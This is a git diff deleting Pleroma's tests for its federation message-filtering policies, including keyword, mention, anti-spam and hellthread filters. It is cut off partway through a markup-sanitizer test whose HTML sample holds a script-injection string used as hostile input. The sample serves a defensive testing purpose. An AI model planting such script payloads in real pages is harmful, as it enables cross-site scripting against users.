@@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do - use ExUnit.Case, async: true - alias Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy - - @id Pleroma.Web.Endpoint.url() <> "/activities/cofe" - @local_actor Pleroma.Web.Endpoint.url() <> "/users/cofe" - - test "adds `expires_at` property" do - assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "object" => %{"type" => "Note"} - }) - - assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 - end - - test "keeps existing `expires_at` if it less than the config setting" do - expires_at = DateTime.utc_now() |> Timex.shift(days: 1) - - assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "expires_at" => expires_at, - "object" => %{"type" => "Note"} - }) - end - - test "overwrites existing `expires_at` if it greater than the config setting" do - too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) - - assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = - ActivityExpirationPolicy.filter(%{ - "id" => @id, - "actor" => @local_actor, - "type" => "Create", - "expires_at" => too_distant_future, - "object" => %{"type" => "Note"} - }) - - assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 - end - - test "ignores remote activities" do - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Create", - "object" => %{"type" => "Note"} - }) - - refute Map.has_key?(activity, "expires_at") - end - - test "ignores non-Create/Note activities" do - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Follow" - }) - - refute Map.has_key?(activity, "expires_at") - - assert {:ok, activity} = - ActivityExpirationPolicy.filter(%{ - "id" => "https://example.com/123", - "actor" => "https://example.com/users/cofe", - "type" => "Create", - "object" => %{"type" => "Cofe"} - }) - - refute Map.has_key?(activity, "expires_at") - end -end diff --git a/test/web/activity_pub/mrf/anti_followbot_policy_test.exs b/test/web/activity_pub/mrf/anti_followbot_policy_test.exs deleted file mode 100644 index 3c795f5ac..000000000 --- a/test/web/activity_pub/mrf/anti_followbot_policy_test.exs +++ /dev/null @@ -1,72 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicy - - describe "blocking based on attributes" do - test "matches followbots by nickname" do - actor = insert(:user, %{nickname: "followbot@example.com"}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) - end - - test "matches followbots by display name" do - actor = insert(:user, %{name: "Federation Bot"}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) - end - end - - test "it allows non-followbots" do - actor = insert(:user) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - {:ok, _} = AntiFollowbotPolicy.filter(message) - end - - test "it gracefully handles nil display names" do - actor = insert(:user, %{name: nil}) - target = insert(:user) - - message = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Follow", - "actor" => actor.ap_id, - "object" => target.ap_id, - "id" => "https://example.com/activities/1234" - } - - {:ok, _} = AntiFollowbotPolicy.filter(message) - end -end diff --git a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs b/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs deleted file mode 100644 index 6867c9853..000000000 --- a/test/web/activity_pub/mrf/anti_link_spam_policy_test.exs +++ /dev/null @@ -1,166 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - import ExUnit.CaptureLog - - alias Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicy - - @linkless_message %{ - "type" => "Create", - "object" => %{ - "content" => "hi world!" - } - } - - @linkful_message %{ - "type" => "Create", - "object" => %{ - "content" => "<a href='https://example.com'>hi world!</a>" - } - } - - @response_message %{ - "type" => "Create", - "object" => %{ - "name" => "yes", - "type" => "Answer" - } - } - - describe "with new user" do - test "it allows posts without links" do - user = insert(:user, local: false) - - assert user.note_count == 0 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it disallows posts with links" do - user = insert(:user, local: false) - - assert user.note_count == 0 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links for local users" do - user = insert(:user) - - assert user.note_count == 0 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with old user" do - test "it allows posts without links" do - user = insert(:user, note_count: 1) - - assert user.note_count == 1 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links" do - user = insert(:user, note_count: 1) - - assert user.note_count == 1 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with followed new user" do - test "it allows posts without links" do - user = insert(:user, follower_count: 1) - - assert user.follower_count == 1 - - message = - @linkless_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - - test "it allows posts with links" do - user = insert(:user, follower_count: 1) - - assert user.follower_count == 1 - - message = - @linkful_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end - - describe "with unknown actors" do - setup do - Tesla.Mock.mock(fn - %{method: :get, url: "http://invalid.actor"} -> - %Tesla.Env{status: 500, body: ""} - end) - - :ok - end - - test "it rejects posts without links" do - message = - @linkless_message - |> Map.put("actor", "http://invalid.actor") - - assert capture_log(fn -> - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end) =~ "[error] Could not decode user at fetch http://invalid.actor" - end - - test "it rejects posts with links" do - message = - @linkful_message - |> Map.put("actor", "http://invalid.actor") - - assert capture_log(fn -> - {:reject, _} = AntiLinkSpamPolicy.filter(message) - end) =~ "[error] Could not decode user at fetch http://invalid.actor" - end - end - - describe "with contentless-objects" do - test "it does not reject them or error out" do - user = insert(:user, note_count: 1) - - message = - @response_message - |> Map.put("actor", user.ap_id) - - {:ok, _message} = AntiLinkSpamPolicy.filter(message) - end - end -end diff --git a/test/web/activity_pub/mrf/ensure_re_prepended_test.exs b/test/web/activity_pub/mrf/ensure_re_prepended_test.exs deleted file mode 100644 index 9a283f27d..000000000 --- a/test/web/activity_pub/mrf/ensure_re_prepended_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrependedTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.MRF.EnsureRePrepended - - describe "rewrites summary" do - test "it adds `re:` to summary object when child summary and parent summary equal" do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "object-summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res["object"]["summary"] == "re: object-summary" - end - - test "it adds `re:` to summary object when child summary containts re-subject of parent summary " do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "re: object-summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res["object"]["summary"] == "re: object-summary" - end - end - - describe "skip filter" do - test "it skip if type isn't 'Create'" do - message = %{ - "type" => "Annotation", - "object" => %{"summary" => "object-summary"} - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if summary is empty" do - message = %{ - "type" => "Create", - "object" => %{ - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if inReplyTo is empty" do - message = %{"type" => "Create", "object" => %{"summary" => "summary"}} - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skip if parent and child summary isn't equal" do - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "object-summary", - "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} - } - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - - test "it skips if the object is only a reference" do - message = %{ - "type" => "Create", - "object" => "somereference" - } - - assert {:ok, res} = EnsureRePrepended.filter(message) - assert res == message - end - end -end diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs deleted file mode 100644 index 86dd9ddae..000000000 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/web/activity_pub/mrf/hellthread_policy_test.exs b/test/web/activity_pub/mrf/hellthread_policy_test.exs deleted file mode 100644 index 26f5bcdaa..000000000 --- a/test/web/activity_pub/mrf/hellthread_policy_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.HellthreadPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - import Pleroma.Web.ActivityPub.MRF.HellthreadPolicy - - alias Pleroma.Web.CommonAPI - - setup do - user = insert(:user) - - message = %{ - "actor" => user.ap_id, - "cc" => [user.follower_address], - "type" => "Create", - "to" => [ - "https://www.w3.org/ns/activitystreams#Public", - "https://instance.tld/users/user1", - "https://instance.tld/users/user2", - "https://instance.tld/users/user3" - ], - "object" => %{ - "type" => "Note" - } - } - - [user: user, message: message] - end - - setup do: clear_config(:mrf_hellthread) - - test "doesn't die on chat messages" do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) - - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post_chat_message(user, other_user, "moin") - - assert {:ok, _} = filter(activity.data) - end - - describe "reject" do - test "rejects the message if the recipient count is above reject_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 2}) - - assert {:reject, "[HellthreadPolicy] 3 recipients is over the limit of 2"} == - filter(message) - end - - test "does not reject the message if the recipient count is below reject_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) - - assert {:ok, ^message} = filter(message) - end - end - - describe "delist" do - test "delists the message if the recipient count is above delist_threshold", %{ - user: user, - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) - - {:ok, message} = filter(message) - assert user.follower_address in message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in message["cc"] - end - - test "does not delist the message if the recipient count is below delist_threshold", %{ - message: message - } do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 4, reject_threshold: 0}) - - assert {:ok, ^message} = filter(message) - end - end - - test "excludes follower collection and public URI from threshold count", %{message: message} do - Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) - - assert {:ok, ^message} = filter(message) - end -end diff --git a/test/web/activity_pub/mrf/keyword_policy_test.exs b/test/web/activity_pub/mrf/keyword_policy_test.exs deleted file mode 100644 index b3d0f3d90..000000000 --- a/test/web/activity_pub/mrf/keyword_policy_test.exs +++ /dev/null @@ -1,225 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.KeywordPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.KeywordPolicy - - setup do: clear_config(:mrf_keyword) - - setup do - Pleroma.Config.put([:mrf_keyword], %{reject: [], federated_timeline_removal: [], replace: []}) - end - - describe "rejecting based on keywords" do - test "rejects if string matches in content" do - Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) - - message = %{ - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that compLAINer is a good pun", - "summary" => "" - } - } - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = - KeywordPolicy.filter(message) - end - - test "rejects if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) - - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that compLAINer is a good pun", - "content" => "" - } - } - - assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = - KeywordPolicy.filter(message) - end - - test "rejects if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that #{content} is a good pun", - "summary" => "" - } - } - - {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - KeywordPolicy.filter(message) - end) - end - - test "rejects if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that #{content} is a good pun", - "content" => "" - } - } - - {:reject, "[KeywordPolicy] Matches with rejected keyword"} == - KeywordPolicy.filter(message) - end) - end - end - - describe "delisting from ftl based on keywords" do - test "delists if string matches in content" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) - - message = %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that compLAINer is a good pun", - "summary" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] - refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] - end - - test "delists if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) - - message = %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that compLAINer is a good pun", - "content" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] - refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] - end - - test "delists if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{ - "content" => "just a daily reminder that #{content} is a good pun", - "summary" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - - ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and - not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) - end) - end - - test "delists if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{ - "summary" => "just a daily reminder that #{content} is a good pun", - "content" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - - ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and - not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) - end) - end - end - - describe "replacing keywords" do - test "replaces keyword if string matches in content" do - Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) - - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"content" => "ZFS is opensource", "summary" => ""} - } - - {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) - assert result == "ZFS is free software" - end - - test "replaces keyword if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) - - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"summary" => "ZFS is opensource", "content" => ""} - } - - {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) - assert result == "ZFS is free software" - end - - test "replaces keyword if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :replace], [ - {~r/open(-|\s)?source\s?(software)?/, "free software"} - ]) - - assert true == - Enum.all?(["opensource", "open-source", "open source"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"content" => "ZFS is #{content}", "summary" => ""} - } - - {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) - result == "ZFS is free software" - end) - end - - test "replaces keyword if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :replace], [ - {~r/open(-|\s)?source\s?(software)?/, "free software"} - ]) - - assert true == - Enum.all?(["opensource", "open-source", "open source"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"summary" => "ZFS is #{content}", "content" => ""} - } - - {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) - result == "ZFS is free software" - end) - end - end -end diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs deleted file mode 100644 index 1710c4d2a..000000000 --- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do - use Pleroma.DataCase - - alias Pleroma.HTTP - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy - - import Mock - - @message %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "content", - "attachment" => [ - %{"url" => [%{"href" => "http://example.com/image.jpg"}]} - ] - } - } - - setup do: clear_config([:media_proxy, :enabled], true) - - test "it prefetches media proxy URIs" do - with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do - MediaProxyWarmingPolicy.filter(@message) - - ObanHelpers.perform_all() - # Performing jobs which has been just enqueued - ObanHelpers.perform_all() - - assert called(HTTP.get(:_, :_, :_)) - end - end - - test "it does nothing when no attachments are present" do - object = - @message["object"] - |> Map.delete("attachment") - - message = - @message - |> Map.put("object", object) - - with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do - MediaProxyWarmingPolicy.filter(message) - refute called(HTTP.get(:_, :_, :_)) - end - end -end diff --git a/test/web/activity_pub/mrf/mention_policy_test.exs b/test/web/activity_pub/mrf/mention_policy_test.exs deleted file mode 100644 index 220309cc9..000000000 --- a/test/web/activity_pub/mrf/mention_policy_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.MentionPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.MentionPolicy - - setup do: clear_config(:mrf_mention) - - test "pass filter if allow list is empty" do - Pleroma.Config.delete([:mrf_mention]) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - describe "allow" do - test "empty" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create" - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "to" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "cc" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "cc" => ["https://example.com/ok"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "both" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/ok2"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - end - - describe "deny" do - test "to" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == - {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} - end - - test "cc" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == - {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} - end - end -end diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs deleted file mode 100644 index e8cdde2e1..000000000 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ /dev/null @@ -1,90 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRFTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - alias Pleroma.Web.ActivityPub.MRF - - test "subdomains_regex/1" do - assert MRF.subdomains_regex(["unsafe.tld", "*.unsafe.tld"]) == [ - ~r/^unsafe.tld$/i, - ~r/^(.*\.)*unsafe.tld$/i - ] - end - - describe "subdomain_match/2" do - test "common domains" do - regexes = MRF.subdomains_regex(["unsafe.tld", "unsafe2.tld"]) - - assert regexes == [~r/^unsafe.tld$/i, ~r/^unsafe2.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "unsafe2.tld") - - refute MRF.subdomain_match?(regexes, "example.com") - end - - test "wildcard domains with one subdomain" do - regexes = MRF.subdomains_regex(["*.unsafe.tld"]) - - assert regexes == [~r/^(.*\.)*unsafe.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "sub.unsafe.tld") - refute MRF.subdomain_match?(regexes, "anotherunsafe.tld") - refute MRF.subdomain_match?(regexes, "unsafe.tldanother") - end - - test "wildcard domains with two subdomains" do - regexes = MRF.subdomains_regex(["*.unsafe.tld"]) - - assert regexes == [~r/^(.*\.)*unsafe.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "sub.sub.unsafe.tld") - refute MRF.subdomain_match?(regexes, "sub.anotherunsafe.tld") - refute MRF.subdomain_match?(regexes, "sub.unsafe.tldanother") - end - - test "matches are case-insensitive" do - regexes = MRF.subdomains_regex(["UnSafe.TLD", "UnSAFE2.Tld"]) - - assert regexes == [~r/^UnSafe.TLD$/i, ~r/^UnSAFE2.Tld$/i] - - assert MRF.subdomain_match?(regexes, "UNSAFE.TLD") - assert MRF.subdomain_match?(regexes, "UNSAFE2.TLD") - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "unsafe2.tld") - - refute MRF.subdomain_match?(regexes, "EXAMPLE.COM") - refute MRF.subdomain_match?(regexes, "example.com") - end - end - - describe "describe/0" do - test "it works as expected with noop policy" do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) - - expected = %{ - mrf_policies: ["NoOpPolicy"], - exclusions: false - } - - {:ok, ^expected} = MRF.describe() - end - - test "it works as expected with mock policy" do - clear_config([:mrf, :policies], [MRFModuleMock]) - - expected = %{ - mrf_policies: ["MRFModuleMock"], - mrf_module_mock: "some config data", - exclusions: false - } - - {:ok, ^expected} = MRF.describe() - end - end -end diff --git a/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs b/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs deleted file mode 100644 index 64ea61dd4..000000000 --- a/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicyTest do - use Pleroma.DataCase - alias Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicy - - test "it clears content object" do - message = %{ - "type" => "Create", - "object" => %{"content" => ".", "attachment" => "image"} - } - - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res["object"]["content"] == "" - - message = put_in(message, ["object", "content"], "<p>.</p>") - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res["object"]["content"] == "" - end - - @messages [ - %{ - "type" => "Create", - "object" => %{"content" => "test", "attachment" => "image"} - }, - %{"type" => "Create", "object" => %{"content" => "."}}, - %{"type" => "Create", "object" => %{"content" => "<p>.</p>"}} - ] - test "it skips filter" do - Enum.each(@messages, fn message -> - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res == message - end) - end -end diff --git a/test/web/activity_pub/mrf/normalize_markup_test.exs b/test/web/activity_pub/mrf/normalize_markup_test.exs deleted file mode 100644 index 9b39c45bd..000000000 --- a/test/web/activity_pub/mrf/normalize_markup_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do - use Pleroma.DataCase - alias Pleroma.Web.ActivityPub.MRF.NormalizeMarkup - - @html_sample """ - <b>this is in bold</b> - <p>this is a paragraph</p> - this is a linebreak<br /> - this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a> - this is a link with not allowed "rel" attribute: <a href="http://example.com/" rel="tag noallowed">example.com</a> - this is an image: <img src="http://example.com/image.jpg"><br /> - <script>alert('hacked')</script> - """ - - test "it filter html tags" do - expected = """ - <b>this is in bold</b> - <p>this is a paragraph</p> - this is a linebreak<br/> - this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a> - 